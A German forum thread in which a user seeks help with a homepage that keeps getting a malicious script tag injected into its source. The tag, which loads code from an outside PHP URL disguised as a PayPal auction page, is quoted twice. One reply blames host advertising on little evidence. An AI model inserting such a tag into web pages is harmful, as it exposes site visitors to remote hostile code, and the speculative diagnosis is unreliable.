Homepage mit Virus

Hallo

Eine Bekannte von mir hat nun schon eine ganze Zeit Probleme mit ihrer HP. Sie aktualisiert sie und ein paar Stunden Später geht die Homepage nicht mehr.

Wir haben inzwischen herausgefunden das sich hier im Quellcode ein Link oder wie man das nennen soll einträgt und das das ganze auslöst.
Allerdings bekommt man das ganze nicht in den Griff.
Haben inzwischen die Homepage mal auf einen anderen Server geladen sogar da kommt dieser Eintrag.

Der PC wurde Formatiert aber auch das hat nichts gebracht.

Kann mir hier bei meinem Problem vielleicht weiter helfen?????

Die trägt sich in den Quellcode ein: <script src=http://giustaofferta.com/upload/paypal_won_auction.php ></script>


danke schonmal für Hilfe

 

Noch was vergessen. Auf dem PC wurden keinerlei Viren gefunden

 

Wo kann man sich das anschauen?

 

Die orginal Hp lautet: www.rhaudenfehner-meerschweinchen.de

Und unter www.pferderanch-am-forst.de ist sie nochmal hoch geladen. Hier war gestern auch der Virus wieder drauf

 

Womit wurde die Seite erstellt?
Die betreffendde Zeile
<script src=http://giustaofferta.com/upload/paypal_won_auction.php ></script>
entfernen geht nicht?

 

Die HP wurde mit Publisher soviel ich weis erstellt.

Mann kann den Code entfernen aber wenn man die HP erneuert kommt er wieder

 

Glaskugel: ich behaupte mal, es handelt sich nicht um einen Virus, sondern um Werbung, die dein jetziger Hoster in die Seiten automatisch einfügt. Auch in der aktuellen Seite ist der Code drin. Ich würde ein paar Euro pro Jahr in richtigen Webspace ohne diese Einschränkungen investieren. Ansonsten kannst du nichts weiter dagegen tun.

 

Sorry die HP wir mit Frontpage 2003 gemacht.

Was ich aber nicht verstehe die Pferderanch-am-Forst.de Seite ist bei One.com gemacht. Diese Seite ist werbefrei und trotzdem kommt das Problem

 

Wie gesagt, der Code wird mit sehr hoher Wahrscheinlichkeit von deinem Hoster eingefügt. Vielleicht einfach mal da nachfragen... :nixwissen

 

Der Horster wurde als erstes zur Tat gezwungen aber von hier kommt es nicht. Würde es von da kommen müssten doch andere HP´s die bei dem gleichen Horster sind auch betroffen sein und nicht nur eine oder?????

 

Wenn Eintrag bei Hoster 1 eingetragen, dann komplette Seite zu Hoster 2 kopiert, entfernt den Eintrag natürlich nicht.


Einfach die start.html runterladen, Eintrag entfernen, dann wieder hoch(überschreiben).

 

Ja und wen de HP später wieder aktualliesiert wird kommt es wieder und das kann ja nicht sein

 

Bei mir zeigt es




an.

Vielleicht die Links mal entsch&#228;rfen, bitte (einen Buchstaben entfernen o.&#228;.).

 

Ja und wie bekommt man das wieder weg :-( bin echt am verzweifeln

 

Mittlerweile liegt das script wohl in allen Unterordnern.

 

Ja auf jeder Seite ist der Link wieder eingetragen